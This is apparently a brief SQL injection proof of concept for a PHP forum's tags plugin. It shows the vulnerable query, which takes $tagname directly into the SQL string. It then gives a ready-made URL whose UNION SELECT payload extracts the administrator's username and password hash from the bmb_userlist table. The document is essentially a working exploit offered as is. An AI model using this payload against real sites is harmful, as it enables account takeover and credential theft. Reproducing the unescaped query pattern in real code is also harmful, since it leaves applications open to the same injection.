$query = "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1";
http://localhost/[installdir]/plugins.php?p=tags&forumid=0&tagname=-1'+union+select+1,concat_ws(0x3a,username,pwd),3,4+from+bmb_userlist+where+userid=1/*